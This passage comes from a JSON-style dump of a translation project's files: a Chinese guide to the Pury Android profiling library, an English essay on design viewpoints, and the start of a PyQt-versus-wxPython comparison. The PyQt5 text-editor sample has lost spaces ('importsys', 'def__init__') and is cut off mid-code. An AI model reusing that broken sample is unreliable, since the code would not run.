缺少的工具\n\n如果你深入思考一下关于应用程序速度的问题，可以发现其中的一大部分可以被分成两类：\n\n\n1. 某个特定方法或者 API 的调用。这类问题可以用 Hugo 一类的软件来解决。\n2. 两个不同事件之间的时间。这可能发生在独立的、但逻辑上关联的两段代码之间。Android Studio 工具包可以解决这个问题，但就像前面说过的，你需要在这上面花很多时间。\n\n当我在搜寻可用的分析工具并思考所有的可能性的时候，我意识到至少一样工具是没有的，所以我列出了以下需求：\n\n1.  分析程序的开始和结束应该是两个独立触发的事件，这样我们就可以按照需求来灵活使用它了。\n2.  如果我们想要监视应用的性能表现，仅仅有开始和结束是不够的。有些时候我们想要知道中间到底发生了什么。所有关于中间过程的信息应该被汇总在一个大的报告中。这让分析和分享数据变得更加简单。\n3.  有时候，有些脚本是经常被重复调用的，比如，为 _RecyclerView_ 加在下一页的内容。这时候，仅仅对这段脚本进行一次分析是不够的 —— 我们需要一些统计数据，比如平均、最快和最慢的时间，来进行更深入的研究。\n\n这就是为什么我开发了 _Pury_ 。\n\n#### Pury 简介\n\n_Pury_ 是一个用来分析多个独立事件之间的时间的库。事件可以用注解或者调用方法来触发。一个脚本的所有事件都被汇总到一个报告中。\n\n用 _Pury_ 打开一个示例应用的输出:\n\n    App Start --> 0ms\n      Splash Screen --> 5ms\n        Splash Load Data --> 37ms\n        Splash Load Data <-- 1042ms, execution = 1005ms\n      Splash Screen  1043ms \n        onCreate() --> 1077ms \n        onCreate()  1101ms \n        onStart() <-- 1131ms, execution = 30ms\n      Main Activity Launch <-- 1182ms, execution = 139ms\n    App Start <-- 1182ms\n      \n\n就像你看到的， Pury 测量应用启动的时间，包括中间阶段，比如在等待屏幕时加载数据和活动生命周期内的方法。每个阶段的开始和结束时间以及执行所需的时间。除了常规的分析，它也可以用来监视程序的性能，来确保一些改动不会带来意外的延迟。\n\n某次运行结果的一个分页:\n\n```\nGet Next Page --> 0ms\n  Load --> avg = 1.80ms, min = 1ms, max = 3ms, for 5 runs\n  Load <-- avg = 258.40ms, min = 244ms, max = 278ms, for 5 runs\n  Process --> avg = 261.00ms, min = 245ms, max = 280ms, for 5 runs\n  Process <-- avg = 114.20ms, min = 99ms, max = 129ms, for 5 runs\nGet Next Page <-- avg = 378.80ms, min = 353ms, max = 411ms, for 5 runs\n```\n\n在这个例子中，你可以看到， _Pury_ 收集了加载下一页 5 次的信息，并输出了平均值。 _Pury_ 记录并显示了每次开始和结束的时间，以及运行的时间。\n\n#### 内部结构及不足\n\n在深入介绍文档之前，我想简单介绍一下 Pury 的内部结构以及它的不足。这会帮助（你们）了解方法的参数以及报错的信息。\n\n性能测试都是由 _Profiler_ 来完成的。每个 _Profiler_ 都包含了一个 _Runs_ 列表。多个 _Profilers_ 可以并行运行，但每个 _Profiler_ 只能同时运行一个 _Run_ 。当一个 _Profiler_ 内所有的 _Run_ 都运行完成时，就会有一个报告自动生成。 _Runs_ 的数量由 _runsCounter_ 参数来决定。\n\n\n\n\n\n[//]:<>![](https://cdn-images-1.medium.com/freeze/max/60/1*tYB7kEVojU-s0pRcNApIwQ.jpeg?q=20)\n\n![](http://ww3.sinaimg.cn/large/006y8lVagw1f89jd8r2l8j30z50ltq5z.jpg)\n\n\n\n\n\n两个并列运行的 _Profilers_。第一个只有一个 _Run_ 并且处于活跃的 _stage_ 中。第二个有一个停止的 _Run_ 和一个活跃的 _Run_，每个 _Run_ 都包含了一个含有两个 _nested stage_ 的 _root stage_。活跃的 _stage_ 是绿色的，停止 _stage_ 是红色的。\n\n\n\n_Run_ 内部有一个 _root state_ （**根状态**）。每个状态都有一个名字，一个序列号和一个不限定数量的、嵌套的 _nested stage_ (**子状态**)。每个 _stage_ 只能有一个活跃的 _nested stage_ 。如果你停止了一个 _parent stage_ （**父状态**），那么所有这个状态的 _nested stage_ 也会停止。\n\n#### 使用 Pury \n\n就像之前提到的， _Pury_ 测量多个独立事件之间的时间。事件可以由注解或调用方法来触发。以下是三个基本的注解：\n\n1\\. _StartProfiling_ — 触发一个事件来启动 _Stage_ 或者 _Run_. 分析会在方法运行之前就开始。\n\n    @StartProfiling(profilerName = \"List pagination\", runsCounter = 3, stageName = \"Loading\", stageOrder = 0)\n      private void loadNextPage() { }\n\n_StartProfiling_ 可以接受最多 5 个参数:\n\n*   _profilerName_ — 分析者的名字将和标识 _Profiler_ 的 _runsCounter_ 一起显示在结果中。\n*   _runsCounter_ — _Profiler_ 等待执行的任务的数量。结果只会在所有任务都完成只会才会显示。\n*   _stageName_ — 用来标记一个即将执行的状态。名字会显示在结果中。\n*   _stageOrder_ — 显示状态顺序。新开始的状态的序号必须大于嵌套最内层活跃状态的序号。同时，第一个状态的序号必须是 0。\n*   _enabled_ — 当这个变量的值为“否”时，注解将被略过。\n\n我想强调一点。 _Profiler_ 是由 _profilerName_ 和 _runsCounter_ 组合在一起进行识别的。如果你使用了相同的 _profilerName_ ， 但是不同的 _runsCounter_ ，你将会得到两份独立的、不同的报告， 而不是一个。\n\n2\\. _StopProfiling_ — 触发一个事件来停止 _Stage_ 或 _Run_. 分析会在方法运行结束后停止。当 _Stage_ 或 _Run_ 停止了，所有 _nested stage_ 都会停止。\n\n    @StopProfiling(profilerName = \"List pagination\", runsCounter = 3, stageName = \"Loading\")\n      private void displayNextPage() { }\n\n它有和 _StartProfiling_ 相同的参数，除了 _stageOrder_ 。\n\n3\\. _MethodProfiling_ — _StartProfiling_ 和 _StopProfiling_ 的结合。\n\n    @MethodProfiling(profilerName = \"List pagination\", runsCounter = 3, stageName = \"Process\", stageOrder = 1)\n      private List processNextPage() { }\n\n除了一个小地方需要注意之外，它有和 _StartProfiling_ 相同的参数。 如果 _stageName_ 是空的，那么它将会有方法的名字和类中产生。这么做是为了在不输入参数的情况下使用 _MethodProfiling_ 并得到一个有意义的结果。\n\n因为 Java 7 并不支持可重复的注解，我为以上的注解写了一个注解集：\n\n    @StartProfilings(StartProfiling[] value)\n\n    @StopProfilings(StopProfiling[] value)\n\n    @MethodProfilings(MethodProfiling[] value)\n\n就像之前提到的，你可以直接调用一个方法来开始或结束分析：\n\n    Pury.startProfiling();\n\n    Pury.stopProfiling();\n\n参数和对应的注解是完全相同的 —— 当然，除了 _enabled_ 。\n\n#### 记录结果\n\n_Pury_ 使用默认的记录器，但同时也允许你设置你自己喜欢的记录器。你要做的就是实现 _Logger_ 端口并在 _Pury.setLogger()_ 中进行设置。\n\n    public interface Logger {\n        void result(String tag, String message);\n        void warning(String tag, String message);\n        void error(String tag, String message);\n    }\n\n在默认情况下， _result_ 被记录在 _Log.d_ 中， _warning_ 被记录在 _Log.w_ 中， _error_ 被记录在 _Log.e_ 中。\n\n#### 怎样开始使用 Pury？\n\n要开始使用 _Pury_, 你只需要做两个简单的步骤。 第一，使用 AspectJ 插件, 市面上有不止一种这样的插件。我使用的是 [_WeaverLite_[3]](https://github.com/NikitaKozlov/WeaverLite)， _Pury_ 也使用这个插件。它非常轻便且易于使用。\n\n    buildscript {\n        repositories {\n            jcenter()\n        }\n        dependencies {\n            classpath 'com.nikitakozlov:weaverlite:1.0.0'\n        }\n    }\n    apply plugin: 'com.nikitakozlov.weaverlite'\n\n你可以在调试或发布版本中使用/禁用它。默认设置如下：\n\n    weaverLite {\n        enabledForDebug = true\n        enabledForRelease = false\n    }\n\n第二，包括以下依赖:\n\n    dependencies {\n       compile 'com.nikitakozlov.pury:annotations:1.0.1'\n       debugCompile 'com.nikitakozlov.pury:pury:1.0.2'\n    }\n\n如果你想在发布的时候分析, 在第二个依赖中使用 _compile_ 来代替 _compileDebug_ 。\n\n#### 小建议\n\n在没有设置一些常数的时候，管理多于5个状态是非常浪费时间的，所有我总是创建一个类，将某个分析情境需要用到的所有东西都集中在这个类里。就像这样：\n\n    public final class StartApp {\n        public static final String PROFILER_NAME = \"App Start\";\n        public static final String TOP_STAGE =\"App Start\";\n        public static final int TOP_STAGE_ORDER = 0;\n        public static final String SPLASH_SCREEN = \"Splash Screen\";\n        public static final int SPLASH_SCREEN_ORDER = TOP_STAGE_ORDER + 1;\n        public static final String MAIN_ACTIVITY_LAUNCH = \"Main Activity Launch\";\n        public static final int MAIN_ACTIVITY_LAUNCH_ORDER = SPLASH_SCREEN_ORDER + 1;\n        public static final String MAIN_ACTIVITY_CREATE = \"onCreate()\";\n        public static final int MAIN_ACTIVITY_CREATE_ORDER = MAIN_ACTIVITY_LAUNCH_ORDER + 1;\n    }\n\n就像你所看到的，每个 _ORDER_ 常数都是基于 _parent stage_，这样非常的方便。你还可以给 _runsCounter_ 添加一些常数来保证你每次用的都一样。你可以添加一个 _enabled_ 标记来轻松的禁用某个特定情境。\n\n#### 结论\n\n_Pury_ 是一个简洁的分析工具，它仅有三个注解需以及一点它们背后逻辑要学习。我希望你们不要把它想象的过分复杂。如果有什么问题的话，你们可以在这里我的 [GitHub[4]](https://github.com/NikitaKozlov/Pury) 里找到例子。\n\n我很希望收到你们关于这个解决方案的看法。如果你们有任何的建议，欢迎在 [GitHub[5]](https://github.com/NikitaKozlov/Pury) 上创建一个 issue。你也可以通过 [Gitter[6]](https://gitter.im/NikitaKozlov/Pury) 来联系我。\n\n\n\n"
  },
  {
    "path": "TODO/push-for-a-point-of-view.md",
    "content": "> * 原文地址：[Push for a point of view](https://theindex.generalassemb.ly/product-design-tips-google-dropbox-slack-airbnb-510eb52fb623#.1dsp91amn)\n* 原文作者：[John Saito](https://theindex.generalassemb.ly/@jsaito)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： \n* 校对者：\n\n---\n\n# Push for a point of view.\n\n## What I learned from designers at Google, Airbnb, Slack, and more.\n\n![](https://cdn-images-1.medium.com/max/2000/1*vLlJ6dMA7MQP2tFMENfgYw.jpeg)\n\nOne thing I’ve learned about design is that you can’t please everyone. You can try, but you’ll end up with a watered-down design that won’t please anyone.\n\nWhen you try to make everyone happy, you’ll lose focus. You’ll build pointless features that people don’t need. You’ll write fluffy words that people won’t read.\n\nGood design is all about having a clear purpose. It’s about having a strong point of view—even if you might ruffle some feathers along the way.\n\nOver the past month, I’ve been chatting with people who have a strong point of view in their design — people from Google, Airbnb, Slack, Dropbox, and more. I wanted to peek inside their noggins to see what drives their decisions and informs their designs. Below are a few things I learned.\n\n### 1. Start with questions, not answers.\n\nEver sign up for a new service and then forget your password the next day? It’s happened to me countless times. If I asked you for help, what would you suggest I do?\n\nSome people might tell me to just write down the password. Easy-peasy, problem solved. But security experts [don’t recommend writing down the password](https://www.us-cert.gov/ncas/tips/ST04-002). It just isn’t very secure.\n\n> Good designers don’t jump to solutions. They take the time to understand the problem.\n\nSo what would a designer do? Good designers don’t jump to solutions. They take the time to understand the problem. They ask questions to figure out the causes, the context, and the constraints: How do you usually keep track of passwords? Do you always carry your phone with you? How many passwords do you have?\n\nThe more you understand the problem, the easier it is to develop a point of view about how to solve the problem. Understanding is what gives you confidence. Understanding is what turns an idea into a point of view.\n\nI asked Adriana Olmos, a product designer on [Google Assistant](https://assistant.google.com/), about her approach to solving problems. When her stakeholders ask for things, they often position their idea in terms of the solution, instead of the problem. “I spend time trying to understand the rationale behind what they’re trying to solve for,” she says. “From there, I work with them to change or iterate on the initial request to map it to the ‘why’ of the user. Understand the why, and the how will follow.”\n\nBy understanding the ins and outs of the problem, you can develop a stronger point of view about how to solve that problem. 🙋\n\n![](https://cdn-images-1.medium.com/max/1600/1*fm4nOlvjvXLCmn-vm0HwlA.png)\n\n### 2. Design for this, not that.\n\nWhen kicking off a project, it’s pretty common for designers to list out their design goals: This is the problem we’re trying to solve. This is what success looks like.\n\nBut it’s a good idea to also list out your *non-goals*: This is a problem we’re *not* trying to solve. This is what our product *isn’t* meant to do.\n\nBy defining non-goals, you can focus on your main problems without getting bogged down by that murky monster known as “scope creep.” That’s when extra features start creeping into your project, diluting your original design.\n\nErica Morse, a lead designer at [Change.org](https://www.change.org/), tells me about a non-goal that helps her stay focused. Change.org is a community-driven platform. You might think supporters of Change.org would want to connect with other supporters, right? Well, according to her research, most paying supporters didn’t want to use the site to connect with one another.\n\n“Whenever this idea of creating community among members comes up, I reference the research we did to explain why we’re not focusing on it,” Erica explains.\n\nDefining non-goals helps you stay focused on your main goals, and that makes your design stronger. 💪\n\n![](https://cdn-images-1.medium.com/max/1600/1*mHJWZBeSxjCcyN8pJNtdkQ.png)\n\n### 3. Fight for your users.\n\nAs a product designer, you have to juggle the needs of your business and the needs of your users. But sometimes, those needs are in direct conflict with each other, and you have to choose a side.\n\nI’ve learned that the strongest designs are the ones that focus on users. I know we all gotta get paid, but let someone else at your company fight for the needs of the business. A designer’s job is to fight for your users.\n\nOn the web, autoplaying videos have been around for years. Businesses tend to love them, because they lead to more exposure. Users tend to hate them, because they’re annoying.\n\n> The strongest designs are the ones that focus on users. I know we all gotta get paid, but let someone else at your company fight for the needs of the business.\n\nYears ago, [TED.com](http://ted.com) had autoplaying videos on their site. But TED’s UX architect, Michael McWatters, and other members of his team were determined to get rid of autoplay. Michael even wrote a [manifesto against autoplay](https://medium.com/@mmcwatters/autoplay-blues-9f41564fe030#.6sv8rpvkj), pointing out problems like bandwidth consumption and accessibility issues. After a lot of healthy debate, they decided to do what’s right for users and got rid of autoplay. Praise be!\n\nMichael explains, “Although autoplay guarantees videos start playing with each visit — good for business— it’s also a really bad user experience. While the decision to kill autoplay may not seem bold to people outside the org, when your business depends on video views, removing it was actually a fairly fraught, risky proposition.”\n\nThanks for fighting for your users, Michael. ✊\n\n![](https://cdn-images-1.medium.com/max/2000/1*TphrQus4tjhWuouhHdXrjA.png)\n\n### 4. Be bold, be brave.\n\nIf you work on software, you might be familiar with the phrase “release early, release often.” The general idea is that it’s better to release updates as quickly as possible, and then improve on them over time.\n\nThe problem with this approach is that it can lead to half-baked ideas instead of big leaps forward. If you’re not careful, you could end up making hundreds of insignificant improvements, instead of working on things that really matter. Constant tweaks can lead to a weak design and an indecisive point of view.\n\nOver at [Airbnb](http://www.airbnb.com), Michael Austin Sui works on the company’s big, bold [Design Language System](http://airbnb.design/the-way-we-build/) — a unified design system for all of Airbnb. “We like bold moves!” Michael says. “As a recovering, risk-averse perfectionist, I’ve grown to embrace the adventure that comes with an innovative company, inspired by the daring ideas of my colleagues.”\n\n[![](https://cdn-images-1.medium.com/max/1200/1*y68cFzxUNENOjoRNDjty2g.png)\n](https://generalassemb.ly/hello/medium?utm_medium=social&amp;utm_source=blog&amp;utm_campaign=saitoPOV)\n\nHe tells me about what it took to launch [Airbnb Trips](https://www.airbnb.com/new). Instead of just focusing on accommodations, Trips focuses on the whole trip experience, bringing together where you stay, what you do, and the people you meet—all in one place.\n\n“It was a significant shift for Airbnb’s product, guests, and hosts. After developing Airbnb Trips for about a year, when the time came to launch, we knew we had to shift hard together to give this new idea the best chance of succeeding. That was one major learning from that launch: When you make a bold shift, shift hard.”\n\nTheir big shift seems to be paying off. Industry experts are saying that [Airbnb just recently turned a profit](https://www.cnet.com/news/airbnb-first-profit-home-rental-travel-startups/) and is expected to stay profitable throughout 2017.\n\nThink of some of your favorite designs. Do they play it safe, or do they take big risks? Chances are, your favorite designs are the ones that have big ideas and a strong point of view—the ones that take big risks. 🎲\n\n![](https://cdn-images-1.medium.com/max/1600/1*1rM7k8-IKq83FaHtyzxdIw.png)\n\n### 5. Don’t just build what people ask for.\n\nThere’s a famous quote from Steve Jobs where he said, “A lot of times, people don’t know what they want until you show it to them.”\n\nWhen I first heard that, I always thought it sounded cocky. After all, I know myself better than anyone else. Of course I know what I want, silly!\n\nIt took me a while, but I now get what he was saying. A lot of times, we’re constrained by what we know, and we forget there might be better ideas we never even thought of.\n\nI recently had a few Polaroid photos that I wanted to transfer to my laptop. If you had asked me what I wanted, I would’ve asked for a flatbed scanner, so I could scan them to my laptop. But then Google came along and created the[ PhotoScan](https://www.google.com/photos/scan/) app, which lets you scan photos right from your phone. The app turned out to be a much faster, easier solution—even though I never asked for it.\n\n[Gusto](https://gusto.com/) is a product that helps business owners take care of payroll, benefits, and other HR tasks. The company’s design team makes big bets on creating features that people aren’t asking for, but will make their lives better.\n\nThey recently released [employee happiness surveys](https://gusto.com/blog/the-pursuit-of-employee-happiness/) in which they ask employees a simple question: How happy are you at work? “The results are surprisingly insightful,” says Val Klump, a writer on Gusto’s design team. “The businesses who’ve tried it love it, but no one asked us to build it.”\n\nThey predicted what people wanted before people even realized it. 🔮\n\n![](https://cdn-images-1.medium.com/max/1600/1*VnEMUZTnmIdIas6M_J8SXw.png)\n\n### 6. Know when to shine.\n\nTo have a strong point of view in design, you need to know who you are as a brand. What’s your personality? Are you more Beyoncé or Bublé? Coldplay or Kanye?\n\nBut when it comes to product design, knowing your personality isn’t enough. You also need to know *when* to show your personality, because too much personality gets in the way of usability.\n\nLet’s say you have a button that says “Start tour.” If your brand is all hip and happenin’, you could rewrite this as “Let’s get crackin’!” This sounds a lot more fun, but it’s also confusing. It’s not clear if clicking that button will start a tour, ask you to sign up, or show you a clip from *The Nutcracker*.\n\n> Showing your personality helps you earn brownie points with your users, but you’ve got to know when to dial it up and when to play it cool.\n\nA lot of people love [Slack](https://slack.com/) for the playful copy in its product. The team at Slack understands that words are an integral part of the product’s design, so they have a group of product writers on their design team. Sara Culver, who leads the product writing group, explains the challenge of having to juggle clarity with personality. “We want to preserve personality in the product — but we have to find the best places to do it, where a user is least likely to become frustrated, confused, or annoyed.”\n\nSara goes on to give me an example: “We recently had a fun session where we all wrote different versions of the same error message — a pretty obscure one that only power users of Slack will ever see, so we wanted it to be playful. We ended up not being able to choose a winner, and are going to try to implement them all in a rotating way, so a user could see a different one each time.”\n\nShowing your personality helps you earn brownie points with your users, but you’ve got to know when to dial it up and when to play it cool. 😎\n\n![](https://cdn-images-1.medium.com/max/1600/1*g6hIzKdQ-9MT3NawbaC5cA.png)\n\n### 7. Believe it, build it.\n\nPart of a designer’s job is to explore multiple ideas to solve a problem. Then, you weigh the pros and cons until you find a direction that works.\n\nBut chances are none of your ideas are perfect, and that’s when you start to make compromises. You add an extra button here. You add extra text there. You optimize for edge cases. Suddenly, your design becomes a hot mess.\n\nSo what should you do instead? Sometimes you just need to pick a direction you believe in and build it.\n\nDavid Kjelkerud, a design director at [Dropbox](https://www.dropbox.com/), tells me about an experiment his team ran on the Dropbox homepage a while ago. Instead of showing everyone an A–Z list of files and folders, a small percentage of people saw a list of recently viewed files with inline previews. The assumption was that people would quickly scan the previews and pick up where they left off.\n\nUltimately, this direction didn’t work because recent files weren’t always the most relevant files. So instead, they pursued a different direction. “But we learned a lot that we wouldn’t have unless we built and released it,” David says. “It’s important to follow your conviction even if the chance of failure is big. Even if you don’t reap the big reward, there’s always learning to be had. I encourage teams to take risks, build, ship, and learn. As long as you’re learning, you’re getting closer.”\n\nEven to this day, their learnings from that experiment are helping to shape new projects. More than a year later, people at Dropbox are still looking back at that experiment for ideas and inspiration. ⚡️\n\n![](https://cdn-images-1.medium.com/max/1600/1*y5ZlhgVy9Sh-93kdm39P6g.png)\n\n### 8. Push for what’s right.\n\nAll my life, I’ve lived in shadows. I never caused trouble. I never picked fights. I was that quiet Asian kid in the back — the one who never made a fuss. I just wanted to make sure everyone was happy.\n\nIt took me years to realize this, but I now know you can’t make everyone happy, no matter how hard you try. You can’t design for every possible use case, and you can’t please everyone in the room.\n\nNow, more than ever, I’m learning that you need to have a point of view if you want to make progress. You need to ask questions, you need to understand “why,” and you need to fight for what you believe in.\n\nThese are crazy times we live in. When we see problems, we need to push for a point of view and push for what’s right. It’s the only way to make things that matter. It’s the only way to design."
  },
  {
    "path": "TODO/pyqt-versus-wxpython.md",
    "content": "\n> * 原文地址：[Qt versus Wx: How do two of the most popular Python frameworks compare?](https://opensource.com/article/17/4/pyqt-versus-wxpython)\n> * 原文作者：[Seth Kenlon](https://opensource.com/users/seth)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/pyqt-versus-wxpython.md](https://github.com/xitu/gold-miner/blob/master/TODO/pyqt-versus-wxpython.md)\n> * 译者：\n> * 校对者：\n\n# Qt versus Wx: How do two of the most popular Python frameworks compare?\n\n## Which Python GUI should you choose for your project?\n\n![Qt versus Wx: How do two of the most popular Python frameworks compare?](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/code_computer_development_programming.png?itok=wMspQJcO)\n\nImage by :opensource.com\n\nPython is a popular language capable of scripting as well as object-oriented programming. Several frameworks provide a GUI (graphical user interface) for Python, and most of them are good at something, whether it's simplicity, efficiency, or flexibility. Two of the most popular are [wxPython](http://docs.wxwidgets.org/trunk/overview_python.html) and [PyQt](http://pyqt.sourceforge.net/Docs/PyQt5/), but how do they compare? More importantly, which should you choose for your project?\n\n## Look and feel\n\nLet's tackle what most users notice first and foremost—what an application looks like.\n\nOne of wxPython's unique feature is that its core libraries, written in C++, are wrappers around the native widgets of its host system. When you write code for a button widget in your GUI, you don't get something that looks like it belongs on another operating system, nor do you get a mere approximation. Rather, you get the same object as you do if you had coded with native tools.\n\n![Thunar and WxPython on Linux](https://opensource.com/sites/default/files/wxbutton.png)\n\nThunar and WxPython on Linux\n\nThis is different from PyQt, which is based on the famous [Qt](https://www.qt.io/) toolkit. PyQt also is written in C++, but it does not use native widgets, and instead creates approximations of widgets depending on what OS it detects. It makes good approximations, and I've never had a user—even at an art school where users tend to be infamously pedantic about appearance—complain that an application didn't look and feel native.\n\nIf you're using KDE, you have additional [PyKDE](https://wiki.python.org/moin/PyKDE) libraries available to you to bridge the gap between raw PyQt and the appearance of your Plasma desktop on Linux and BSD, but that adds new dependencies.\n\n![KDE and Qt on Linux](https://opensource.com/sites/default/files/qtbutton.png)\n\nKDE and Qt on Linux\n\n## Cross-platform\n\nBoth wxPython and PyQt support Linux, Windows, and Mac, so they're perfect for the famously cross-platform Python; however, don't let the term \"cross-platform\" fool you—you still must make platform-specific adjustments in your Python code. Your GUI toolkit can't adjust path formats to data directories, so you still have to exercise best practices within Python, using **os.path.join** and a few different **exit** methods, and so on. Your choice of GUI toolkit will not magically abstract from platform to platform.\n\nPyQt works hard to shield you from cross-platform differences. Allowing for the common adjustments that Python itself requires, PyQt insulates you from most cross-platform concerns so that your GUI code stays the same regardless of OS. There are always exceptions, but PyQt handles it remarkably well. This is a luxury you'll come to appreciate and admire.\n\nIn wxPython, you may need to make a few platform-specific changes to your GUI code, depending on what you're programming. For instance, to prevent flickering of some elements on Microsoft Windows, the **USE_BUFFERED_DC** attribute must be set to **True** to double buffer the graphics. This isn't a default, even though it can be done unconditionally for all platforms, so it may have drawbacks in some use cases, but it's a good example of the allowances you must make for wxPython.\n\n## Install\n\nAs a developer, you probably don't mind the install steps required to get the libraries you need for your application; however, if you plan to distribute your application, then you need to consider the install process that your users must go through to get your application running.\n\nInstalling Qt on any platform is as simple as installing any other application:. Give your users a link to download, tell them to install the downloaded package, and they're using your application in no time. This is true on all supported platforms.\n\nWhat's also true for all platforms, however, is that PyQt depends on the C++ code of Qt itself. That means that users not only have to install PyQt, but all of Qt. That's not a small package, and it's a lot of clicking and, potentially, stepping through install wizards. The Qt and PyQt teams make the installs as easy as they possibly can be, however, so although it might seem like a lot to ask a user, as long as you provide direct links, any user who can install a web browser or a game should be able to contend with a Qt install. If you're very dedicated, you could even script the installation as part of your own installer.\n\nOn Linux, BSD, and the Ilumos family, the installs usuallyare already scripted for you by a distribution's package manager.\n\nThe install process for wxPython is as simple on Linux and Windows, but it's problematic on the Mac OS. The downloadable packages are severely out of date, another victim of Apple's disinterest in backward compatibility. A [bug ticket](http://trac.wxwidgets.org/ticket/17203) exists with a fix, but the packages haven't been updated, so chances are low that average users are going to find and implement the patch themselves. The solution right now is to package wxPython and distribute it to your Mac OS users yourself, or rely on an external package manager, (although when I last tested wxPython for Mac, even those install scripts failed).\n\n## Widgets and features\n\nBoth PyQt and wxPython have all the usual widgets you expect from a GUI toolkit, including buttons, check boxes, drop-down menus, and more. Both support drag-and-drop actions, tabbed interfaces, dialog boxes, and the creation of custom widgets.\n\nPyQt has the advantage of flexibility. You can rearrange, float, close, and restore Qt panels at runtime, giving every application a highly configurable usability-centric interface.\n\n![Moving Qt panels](https://opensource.com/sites/default/files/panelmove.png)\n\nMoving Qt panels\n\nThose features come built in as long as you're using the right widgets, and you don't have to reinvent fancy tricks to provide friendly features for your power users.\n\nWxPython has lots of great features, but it doesn't compare to PyQt in terms of flexibility and user control. On one hand, that means design and layout is easier on you as the developer. It doesn't take long, when developing on Qt, before you get requests from users for ways to keep track of custom layouts, or how to find a lost panel that got  closed accidentally, and so on. For the same reason, wxPython is simpler for your users, since losing track of a panel that got accidentally closed is a lot harder when panels can't be closed in the first place.\n\nUltimately, wxPython is, after all, just a front end for wxWidgets, so if you really needed a feature, you might be able to implement it in C++ and then utilize it in wxPython. Compared to PyQt, however, that's a tall order.\n\n## Gears and pulleys\n\nA GUI application is made up of many smaller visual elements, usually called \"widgets.\" For a GUI application to function smoothly, widgets must communicate with one another so that, for example, a pane that's meant to display an image knows which thumbnail the user has selected.\n\nMost GUI toolkits, wxPython included, deal with internal communications with \"callbacks.\" A callback is a pointer to some piece of code (a \"function\"). If you want to make something happen when, for example, a button widget is clicked, you write a function for the action you want to occur. Then, when the button is clicked, you call the function in your code and the action occurs.\n\nIt works well enough, and as long as you couple it with lambdas, it's a pretty flexible solution. Sometimes, depending on how elaborate you want the communication to be, you do end up with a lot more code than you had expected, but it does work.\n\nQt, on the other hand, is famous for its \"signals and slots\" mechanism. If you imagine wxPython's internal communications network as an old-style telephone switchboard, then imagine PyQt's communication as a mesh network.\n\n![Qt diagram](https://opensource.com/sites/default/files/abstract-connections.png)\n\nSignals and Slots in Qt ([Qt diagram](https://doc.qt.io/qt-4.8/signalsandslots.html) GFDL license)\n\nWith signals and slots, everything gets a signature. A widget that emits a signal doesn't need to know what slot its message is destined for or even whether it's destined for any slot at all. As long as you connect a signal to a slot, the slot gets called with the signal's parameters when the signal is broadcast.\n\nSlots can be set to listen for any number of signals, and signals can be set to broadcast to any number of slots. You can even connect a signal to another signal to create a chain reaction of signals. You don't ever have to go back into your code to \"wire\" things together manually.\n\nSignals and slots can take any number of arguments of any type. You don't have to write the code to filter out the things you do or do not want under certain conditions.\n\nBetter still, slots aren't just listeners; they're normal functions that can do useful things with or without a signal. Just as an object doesn't know whether anything is listening for its signal, a slot doesn't know whether it's listening for a signal. No block of code is ever reliant upon a connection existing; it just gets triggered at different times if there is a connection.\n\nWhether or not you understand signals and slots, once you use them and then try going back to traditional callbacks, you'll be hooked.\n\n## Layout\n\nWhen you program a GUI app, you have to design its layout so that all the widgets know where to appear in your application window. Like a web page, you might choose to design your application to be resized, or you might constrain it to a fixed size. In some ways, this is the GUI-est part of GUI programming.\n\nIn Qt, everything is pretty logical. Widgets are sensibly named (**QPushButton**, **QDial**, **QCheckbox**, **QLabel**, and even **QCalendarWidget**) and are easy to invoke. The documentation is excellent, as long as you refer back to it frequently, and discovering cool features in it is easy.\n\nThere are potential points of confusion, mostly in the base-level GUI elements. For instance, if you're writing an application, do you start with a **QMainWindow** or **QWidget** to form your parent window? Both can serve as a window for your application, so the answer is, as it so often is in computing: It depends.\n\n**QWidget** is a raw, empty container. It gets used by all other widgets, but that means it can also be used as-is to form the parent window into which you place more widgets. **QMainWindow**, like all other widgets, uses **QWidget**, but it adds lots of convenience features that most applications need, like a toolbar along the top, a status bar at the bottom, etc.\n\n![QMainwindow](https://opensource.com/sites/default/files/qmainwindow.png)\n\nQMainwindow\n\nA small text editor using **QMainWindow** in just over 100 lines of Python code:\n\n\n\n    #!/usr/bin/env python\n    # a minimal text editor to demo PyQt5\n\n    # GNU All-Permissive License\n    # Copying and distribution of this file, with or without modification,\n    # are permitted in any medium without royalty provided the copyright\n    # notice and this notice are preserved.  This file is offered as-is,\n    # without any warranty.\n\n    importsys\n    importos\n    importpickle\n    from PyQt5 import *\n    from PyQt5.QtWidgetsimport *\n    from PyQt5.QtCoreimport *\n    from PyQt5.QtGuiimport *\n\n    class TextEdit(QMainWindow):\n    def__init__(self):\n\n        super(TextEdit,self).__init__()\n\n        #font = QFont(\"Courier\", 11)\n\n        #self.setFont(font)\n\n        self.filename=False\n\n        self.Ui()\n\n    def Ui(self):\n\n        quitApp = QAction(QIcon('/usr/share/icons/breeze-dark/actions/32/application-exit.svg'),'Quit',self)\n\n        saveFile = QAction(QIcon('/usr/share/icons/breeze-dark/actions/32/document-save.svg'),'Save',self)\n\n        newFile = QAction('New',self)\n\n        openFile = QAction('Open',self)\n\n        copyText = QAction('Copy',self)\n\n        pasteText = QAction('Yank',self)\n\n        newFile.setShortcut('Ctrl+N')\n\n        newFile.triggered.connect(self.newFile)\n\n        openFile.setShortcut('Ctrl+O')\n\n        openFile.triggered.connect(self.openFile)\n\n        saveFile.setShortcut('Ctrl+S')\n\n        saveFile.triggered.connect(self.saveFile)\n\n        quitApp.setShortcut('Ctrl+Q')\n\n        quitApp.triggered.connect(self.close)\n\n        copyText.setShortcut('Ctrl+K')\n\n        copyText.triggered.connect(self.copyFunc)\n\n        pasteText.setShortcut('Ctrl+Y')\n\n        pasteText.triggered.connect(self.pasteFunc)\n\n        menubar =self.menuBar()\n\n        menubar.setNativeMenuBar(True)\n\n        menuFile = menubar.addMenu('&File')\n\n        menuFile.addAction(newFile)\n\n        menuFile.addAction(openFile)\n\n        menuFile.addAction(saveFile)\n\n        menuFile.addAction(quitApp)\n\n        menuEdit = menubar.addMenu('&Edit')\n\n        menuEdit.addAction(copyText)\n\n        menuEdit.addAction(pasteText)\n\n        toolbar =self.addToolBar('Toolbar')\n\n        toolbar.addAction(quitApp)\n\n        toolbar.addAction(saveFile)\n\n        self.text= QTextEdit(self)\n\n        self.setCentralWidget(self.text)\n\n        